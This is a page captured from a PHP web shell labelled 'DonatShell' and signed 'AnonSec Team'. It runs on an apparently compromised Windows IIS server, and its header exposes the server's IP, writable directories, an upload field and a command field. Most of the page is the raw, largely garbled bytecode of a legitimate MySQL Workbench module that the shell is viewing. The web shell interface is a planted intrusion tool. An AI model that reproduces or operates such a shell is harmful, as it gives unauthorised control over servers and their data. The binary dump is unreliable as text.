DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/wb_admin_control.pyc
ó
,¢2Sc@sŒddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZm
Z
mZmZddlmZmZmZmZddlmZmZmZddlmZmZmZddlmZddlZddl Z dd	l!m"Z"m#Z#m$Z$m%Z%d
Z&dZ'de(fd
„ƒYZ)de(fd„ƒYZ*de(fd„ƒYZ+dS(i’’’’N(tVersion(tSSHDownException(tMySQLConnectiont
MySQLErrort
QueryErrortstrip_password(tOperationCancelledErrortUserstPermissionDeniedErrortInvalidPasswordError(tPasswordHandlertServerControlShelltServerControlWMI(tServerManagementHelpertSSHtwbaOS(tnc(tlog_infotlog_warningt	log_errort	log_debugiitEventManagercBsDeZdddgZd„Zd„Zd„Zd„Zd„ZRS(tserver_started_eventtserver_stopped_eventtshutdown_eventcCsi|_t|_g|_dS(N(teventstFalsetdefertdeferred_events(tself((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyt__init__5s		cCsµ|d7}t||ƒrd}||jkr>|j|}ng}||j|<|j|ƒtd|jjd|dƒn0dG|jGdG|GHt|jjd|dƒdS(Nt_eventsAdded s for event s
sError! s does not have methods does not have method (thasattrtNoneRtappendRt	__class__t__name__R(Rt
event_namethandlert
handlers_list((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytadd_event_handler:s


#cCs
t|_dS(N(tTrueR(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytdefer_eventsKscCs7t|_x|jD]}|j|ƒqWg|_dS(N(RRRtevent(Rtev_name((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytcontinue_eventsNs	cCsš|jr|jj|ƒdS|d7}||jkrTdG|GHtd|dƒn˜||jkrÖtd|ddƒxp|j|D]H}t||ƒr‡td|d|jj	dƒt
||ƒƒq‡q‡Wntd	|ddƒdS(
NRsEventManager: invalid eventsEventManager: invalid event: s
sFound event s in listsPassing event s to s"Found valid but unrequested event (RRR"tvalid_eventsRRRR R#R$tgetattr(Rtnametobj((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR+Ts	
	 (R$t
__module__R.RR(R*R-R+(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR2s				tSQLQueryExecutorcBsAeZdZdZd„Zd„Zd„Zd„Zd„Z	RS(cCs4tdt|ƒdƒtjƒ|_||_dS(Ns'Constructing SQL query runner, dbconn (s)
(Rtreprt	threadingtLocktmtxtdbconn(RR8((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRlscCs|jdk	o|jjS(N(R8R!tis_connected(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR9qscCsW|jƒrJ|jjƒz|jr5|jjƒnWd|jjƒXnd|_dS(N(R9R7tacquireR8t
disconnecttreleaseR!(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytclosets
	cCsad}|jjƒz9|jƒrKtdt|ƒƒ|jj|ƒ}nWd|jjƒX|S(NsExecuting query %s
(	R!R7R:R9RRR8texecuteQueryR<(Rtquerytresult((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyt
exec_query~s
cCsad}|jjƒz9|jƒrKtdt|ƒƒ|jj|ƒ}nWd|jjƒX|S(NsExecuting statement %s
(	R!R7R:R9RRR8texecuteR<(RR?R@((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRB‰s
N(
R$R2R!R8R7RR9R=RARB(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR3hs			
	tWbAdminControlcBsveZd#Zd#Zd#Zd#Zd#Zd#ZdZ	e
d„Zd„Ze
d„ƒZd„Zd„Zd„Zed„Zded	„Zd
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z!d„Z"d„Z#d„Z$d„Z%e
d„Z&e
d„Z'd„Z(d#d„Z)d„Z*d „Z+d!„Z,d"„Z-RS($tunknowncCsżd|_tƒ|_|jƒ||_d|_tjdƒ|_||_	t
|ƒ|_tƒ|_
t|_|jd|ƒ|jd|ƒ||_|rĄ|jr®dnddf|_n	d|_i|_i|_d|_d|_|j|_dS(	Nitserver_startedtserver_stoppedtrunningtstoppedRDi(sunknownN(R!tserver_controlRRR*tserver_profiletserver_control_output_handlertQueuet
task_queuetsql_enabledR
tpassword_handlertsettserver_active_pluginsR)RGtadd_me_for_eventteditortisConnectedt last_known_server_running_statustserver_variableststatus_variableststatus_variables_timetstatus_variable_poll_intervaltraw_logtlog_cb(RRJRStconnect_sql((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR£s*	
					!					cCst|dƒdS(Ns
(R(Rtdata((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRZČscCs
|jdk	S(N(RIR!(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytadmin_access_availableĢsc
Cs}|js|jjrdS|jjrłyt|j|jƒ|_Wqtk
rjd|_tdƒ‚qt	k
rõt
dtjƒƒd|_|j
rÖtjjdddddƒtjkrņtd	ƒ‚qņqötjjdd
dddƒqXn	d|_t|j|jƒ|_|jrG|jjj|jjƒ|j_n|jƒ}|r¹|\}}}}td||||fƒ|jj|p—d|p d|p©d|p²dƒn
td
ƒ|jjršt|j|j|jƒ|_ne|jjs|jjr)t|j|j|jƒ|_n,t
d|jj|jjfƒt dƒ‚|jry|jj!|_"d|_#ndS(sTMake sure we have access to the instance for admin (for config file, start/stop etc)NsSSH connection cancelledsSSHDownException: %s
sSSH connection failedsuCheck if the SSH server is up on the remote side.
You may continue anyway, but some functionality will be unavailabletContinuetCanceltsCould not connect to SSH servers1Check if the SSH server is up on the remote side.tOKsSTarget OS detection returned: os_type=%s, os_name=%s, os_variant=%s, os_version=%s
s#Could not detect target OS details
sfUnknown management method selected. Server Profile is possibly inconsistent
uses_ssh: %i uses_wmi: %i
sKUnknown management method selected. Server Profile is possibly inconsistent($RIRJt
admin_enabledtuses_sshRROtsshRR!RRt	tracebackt
format_excRNtmformst	Utilitiestshow_warningtResultOkR
t
server_helpertshelltexpand_path_variablestconfig_file_pathtexpanded_config_file_pathtdetect_operating_system_versionRtset_os_version_infoRtuses_wmiRtis_localRt	ExceptiontinfoR[tend_line(Rtos_infotos_typetos_namet
os_variantt
os_version((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytacquire_admin_accessŠsL
	
				$4
!!	cCsOx|jry|jƒPWqtk
r}td|ƒ|jtkr²tjjd|j	d|dddƒ}|tj
krˆqq|tjkr¦tdƒ‚qt
|_q|jtkrītjjj|jjƒstdƒ‚qqt
|_|jjstdƒ‚qqXqW|jsKtjd	|jƒ|_|jjƒndS(
NsError connecting to MySQL: %s
s'Could not connect to MySQL Server at %sstCould not connect to MySQL server: %s
Click Continue to proceed without functionality that requires a DB connection.tRetryR`R_sConnection cancelledsGCould not connect to MySQL Server and no management method is availablettarget(RNR\RRtcodetMYSQL_ERR_ACCESS_DENIEDRhRit
show_errortlocationRktResultCancelRRtMYSQL_ERR_PASSWORD_EXPIREDtgrttmodulestWbAdminthandleExpiredPasswordRJtdb_connection_paramsRcRut
worker_threadR5tThreadtserver_polling_threadtstart(Rterrtr((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytinits0
		cCs@|jjdƒt|_|jƒ|jr<|jjƒndS(Ntshutdown(RR+RRGtdisconnect_sqlReR=(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR’%s
	
	cCsŸ|jd|dtƒ}||jdkr›i|dkr@dndd6|jjd6}tjd|j|ƒ|d	kr—i|_d|_
i|_n|SdS(
Ntverbosetforce_hard_checkiRGitstatet
connectiontGRNServerStateChangedRH(tis_server_runningR)RURJRŠRtsendRSRVR!RXRW(RR”t	new_stateRv((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytforce_check_server_state.s,		ic	CsKd}|j\}}|s$|}n#|jdƒ|jƒrb|jƒrb|jdƒd}qbn|dkrG|jdƒtjjj|jj	ƒ}tjjj
ƒ}tjjjƒ}|dkrÜtjjj|ƒn|dkrų|jdƒn|jd||fƒ|dkr1d}|jd
ƒqGd}|jdƒn|S(NRDsChecking server status...s!MySQL server is currently runningRGsTrying to connect to MySQL...isConnection succeededs%s (%i)iŅiÓiŻRHsAssuming server is not runningsAssuming server is running(iŅiÓiŻ(
RUR[tis_sql_connectedtsql_pingR†R‡tDbMySQLQuerytopenConnectionRJRŠt
lastErrorCodet	lastErrortcloseConnection(	RR”R•trettstatuststimetconnR€R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR™Cs2	


cGs|jj||fƒdS(N(RMtput(Rttasktargs((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytuitaskiscCsFx?|jjƒsA|jjƒ\}}||Œ|jjƒqWdS(N(RMtemptytgett	task_done(RtfuncRŖ((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytprocess_ui_task_queuems
cCs|jj||ƒdS(N(RR((RR+R1((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRR}scCs|jj|ƒdS(N(RR+(RR0((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR+„scCs|j|j|ƒdS(N(R«R+(RR%((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytevent_from_mainˆscCs|jjƒdS(N(RR*(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR*‘scCs|jjƒdS(N(RR-(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR-™scCs1|}|jr-|jjj|jjƒ}n|S(N(RlRmRnRJRo(RtpathR¤((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRns	cCsey|jƒs|jƒnWnAtk
r`}td|ƒtjjdd|dddƒnXdS(NsError connecting to MySQL: %s
tErrorsCould not connect to MySQL: %sRbRa(RR\RuRRhRiR‚(Rte((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR¤scCs#|jƒdtjƒf|_dS(NRH(R“ttimeRU(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR­s
cCs(|dkr$dtjƒf|_ndS(NiRG(RµRU(RR€terrortconnect_info((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytsql_status_callback·scCsq|jƒsct|jj|jƒ}|jƒt|ƒ|_|jƒrV|jƒqmt	dƒn
t
dƒdS(Ns"Failed to connect to MySQL server
s"Already connected to MySQL server
(RRRJRŠRøtconnectR3tsqltquery_server_infoRR(RR—((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR\½s


cCsN|jr|jjƒnd|_d|_d|_d|_tjjƒdS(NRD(	RŗR=R!traw_versionttarget_versiontserver_versionRhRitdriver_shutdown(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR“Ķs					cCs|jo|jjƒS(N(RŗR9(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRŲscCs^y&t|jjƒ|_|jjƒWn8tk
r`}td|ƒd|_tj	j
ƒdSXtdƒtj
|jƒyŠxƒ|jri}|jjdƒ}x2|rÖ|jƒrÖ|jdƒ||jdƒ<q„W|tjƒ|_|_tj
|jƒqWWn%tk
r,tdtjƒƒnXtdƒ|jjƒd|_tj	j
ƒdS(Ns1Error creating SQL connection for monitoring: %r
sMonitoring thread running...
sSHOW GLOBAL STATUStValuet
Variable_namesError in monitoring thread: %s
sMonitoring thread done.
(RRJRŠtpoll_connectionR¹RRR!RhRiRæRRµtsleepRYRGR>tnextRowtstringByNameRWRXRRfRgR;(RRt	variablesR@((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRŻs0	

 


	cCs8tjj|jjj|jjƒ\}}|r4|SdS(N(RhRitfind_cached_passwordRJRŠthostIdentifiertmysql_usernameR!(Rtfoundtpassword((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytget_mysql_passwordżs*cCs‚t}|jƒrZy|jjdƒt}Wq~tk
rV}|jƒsWt}qWq~Xn$y|jƒWntk
r}}nX|S(Nsselect 1(	RRRŗRAR)Rtis_connection_errorR\R(RR¤R“((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRžs
cCs¤d}|jdk	r–y|jj|ƒ}Wq tk
r’}td|tt|ƒƒfƒ|r‰|jƒr‰tdƒ|j|ƒq“|‚q Xn
t	dƒ|S(NsError executing query %s: %s
s=exec_query: Loss of connection to mysql server was detected.
ssql connection is down
(
R!RŗRARRRtstrRĶthandle_sql_disconnectionR(Rtqtauto_reconnectR¤R“((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRAs 


cCsŖd}|jdk	rœy|jj|ƒ}Wq¦tk
r˜}tdt|ƒtt|ƒƒfƒ|r|jƒrtdƒ|j|ƒq™|‚q¦Xn
t	dƒ|S(NsError executing SQL %s: %s
s;exec_sql: Loss of connection to mysql server was detected.
ssql connection is down
(
R!RŗRBRRRRĪRĶRĻR(RRŠRŃR¤R“((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytexec_sql)s&


cCsj|jƒ|jƒrftdƒy|jƒ|jƒr=tSWn!tk
ra}td|ƒnXtStS(Ns4Error is recoverable. Reconnecting to MySQL server.
sAuto-reconnection failed: %s
(R“tis_error_recoverableRR\RR)RR(RR“ter((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRĻ:s


cCs|jj||ƒS(N(RVR­(Rtvariabletdefault((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytget_server_variableHscCst|j|jƒ}|S(N(RRJRO(RRe((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytopen_ssh_session_for_monitoringLscCs
|jdk	S(N(ReR!(R((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytis_ssh_connectedRscsˆjjj}‡fd†}iˆ_ˆjdƒ}x5|rm|jƒrm|jdƒˆj|jdƒ<q9Wtjƒˆ_iˆ_	ˆjdƒ}x5|rĢ|jƒrĢ|jdƒˆj	|jdƒ<q˜WˆjrKˆjdˆ_
tjˆj
ƒˆ_
ˆjjˆj
krKtdˆjjˆjjˆj
fƒˆj
ˆj_qKnˆj
rˆj
jdd	dƒrˆj
jdd	d
ƒrŠdnd}ˆjd
|ƒ}xk|r
|jƒr
|jdƒ}|jdƒ}|jdƒ}|dkr¦ˆjj||fƒq¦q¦Wn|ƒ}ˆjjp)d}	t}
ˆjjddƒ}|riˆjjritjƒ}nˆjjddƒ}|r«ˆjj|kr«|ˆj_t}
nˆjjddƒ}
|
rķˆjj|
krķ|
ˆj_t}
nyCˆjjdƒd/k}ˆjj|kr/|ˆj_t}
nWntk
rCnXysˆj
rqˆj
jdd	dƒrqd}nd}ˆjj|ƒd0k}ˆjj |kr¶|ˆj_ t}
nWntk
rŹnXˆj
sīˆj
jdd	dƒrƒ|j!|	ƒr||	jddƒj"dƒnd}||ƒ}ˆjj#|krt|pbt$j%j&ˆjj|dƒˆj_#t}
n|j!|	ƒr¢||	jd dƒj"dƒnd}||ƒ}ˆjj'|krś|pčt$j%j&ˆjj|d!ƒˆj_'t}
n|j!|	ƒr(||	jd"dƒj"dƒnd}||ƒ}ˆjj(|krš|pnt$j%j&ˆjj|d#ƒˆj_(t}
qšnˆjjd$ƒ}|r³|d%kr³||ƒnd}ˆjj#|krą|ˆj_#t}
nˆjjd&ƒ}|r|d%kr||ƒnd}ˆjj'|kr=|ˆj_'t}
nˆjjd'ƒ}|rm|d%krm||ƒnd}ˆjj(|krš|ˆj_(t}
ntd(t)ˆj
ƒd)t)ˆj*ƒƒd*t+gˆjD]}|d+^qŅƒd,ƒ|
rd-d.l,m-}|j.ƒndS(1Nc
sˆjjr’y%tjˆjjˆjjƒƒ}Wntk
rtdˆjjƒxßtr’yGˆjj	dƒ}tjˆjjˆjjdt
jd|ƒƒ}PWqXtk
rČˆjj
dƒqXtk
rū}tdˆjjt|ƒfƒiSXqXWn4tk
r6}tdˆjjt|ƒfƒiSXi}d}xµ|D]­}|jƒ}|dksJ|jdƒr}qJqJ|jd	ƒr±|jd
ƒr±|dd!jƒ}qJ|jd
ƒ\}}}|jƒpŲd}	|	|j|iƒ|jƒ<qJW|SiS(NsBCould not open the file "%s" as the current user. Trying as admin
tfiletas_usert
user_passwords!Could not open the file "%s": %s
trootRat#t[t]ii’’’’t=tON(RJRotStringIORltget_file_contentRRR)ROtget_password_forRtADMINR	treset_password_forRuRRĪtstript
startswithtendswitht	partitiont
setdefault(
tcfg_fileRĖRtoptstsectiontlinetktdtvtval(R(sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pytget_config_optionsZs@%
	
  
 sSHOW VARIABLESRĄRĮsSHOW GLOBAL STATUStversions‰%s.connect_sql(): The server version stored in the server instance profile was "%s". Changed to the version reported by the server: "%s"
iii	tPLUGINStPLUGINsSHOW %stNametStatustTypetACTIVEtmysqldthostnameRatdatadirtbasedirtgeneral_logRāt1itslow_query_logtlog_slow_queriestlogs "s.logslog-slow-queriess.slows	log-errors.errtgeneral_log_filet0tslow_query_log_fileRs,Currently connected to MySQL server version s, conn status = s, active plugins = is
i’’’’(t	Workbench(sONR(sONR(/RJtpath_moduletnormpathRVRARÄRÅRµRXRWR¼RtfromstrR½R¾RR#R$t#is_supported_mysql_version_at_leastRQtaddtconfig_file_sectionRR­RttsockettgethostnameR’R)Rtgeneral_log_enabledt
ValueErrortslow_log_enabledthas_keyRčtgeneral_log_file_pathtosR²tjointslow_log_file_pathterror_log_file_pathR4RRĪtgrt.modulesR	t
saveInstances(RRRõR@t
plugin_varR0R„tplugin_typeRītconfig_sectiontrequest_save_profileRžR’RRtslow_query_varRRRRR²tslow_query_log_file_pathtlog_error_pathtxR	((RsOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyR»Ws¾$	#	#		!$ 			

!	

#4+	4+	4+$	$	$	Tc
CsZ|js|jjrVtjƒ}|jjdd|jƒ}|dkr|jƒjƒj	dƒrt
j}d}d}|jƒjƒ}tjƒ}|jjdd|jƒ}|dkrņdj|jƒjƒj
dƒd	j
ƒd
ƒ}n||||fSd!\}}}}tjƒ}|jjdd|jƒdkrI|jƒjƒ}td|ƒ|d
kr>t
j}tjƒ}|jjdd|jƒdkr9x•|jƒjƒj
dƒD]u}|jƒ}|ræ|j
ddƒ\}	}
|	dkr|
jƒ}|
jƒ}q4|	dkr4|
jƒ}q4qæqæWq9nūt
j}tjƒ}|jjdd|jƒdkrd}x¼|jƒjƒj
dƒD]i}|jƒ}|r–|jdƒ\}	}}
|	dkrį|
jƒ}q’|	dkr’|
jƒ}q’q–q–Wn3tdƒyR|jjdƒ}|rad}d}||jdƒdj
ƒdjƒ}nWnttfk
r{nXy7|jjdƒ}|r²d}d}|jƒ}nWnttfk
rĢnXyR|jjdƒ}|rd}d}||jdƒdj
ƒdjƒ}nWnttfk
r8nX||||fStdƒnd S("s+Try to detect OS information in the remote server, via SSH connection.
            
        The information returned is (os_type, os_name, os_variant, os_version)
            
            
            os_type: one of the main types of OS supported (one of wbaOS.windows, wbaOS.linux, wbaOS.darwin)
            os_name: the exact name of the OS (eg Windows, Linux, Mac OS X, Solaris)
            os_variant: the variant of the OS, esp for Linux distributions (eg Ubuntu, Fedora etc)
            os_version: the version of the OS (eg 12.04, XP etc)
        tvertoutput_handlerisMicrosoft WindowstWindowssNreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"t s
i’’’’itunames#uname in remote system returned %s
tDarwintsw_verst:itProductNametProductVersionslsb_release -atLinuxsDistributor IDtReleases\lsb_release utility not found in target server. Consider installing its package if possible
s/etc/fedora-releasetFedoraR<s/etc/debian_versiontDebians/etc/oracle-releasesOracle LinuxsICould not execute uname command on remote server, system type is unknown
N(NNNN(ReRJRtRćRltexecute_commandtwritetgetvalueRčRéRtwindowsRtsplitR!RtdarwintlinuxRėRRätfindtIOErrortOSErrorR(
RtotrcRyRzR{R|tostypeRšRńRótsepRv((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRqśsŽ'	5!	!"	!"
..
N(.R$R2R!RlRIReRŗR‹R½R¼R)RRZtpropertyR^R}R‘R’RRœR™R«R°RRR+R±R*R-RnRRRøR\R“RRRĢRžRARŅRĻR×RŲRŁR»Rq(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyRC—sP%		3	"		&												
					 						£(,RRR5RµRLRćRftworkbench.utilsRtwb_admin_sshRtworkbench.db_utilsRRRRt	wb_commonRRRR	twb_server_controlR
RRtwb_server_managementR
RRtworkbench.notificationsRR†Rht
workbench.logRRRRRR…tobjectRR3RC(((sOC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_control.pyt<module>s*"""6/

Anon7 - 2022
AnonSec Team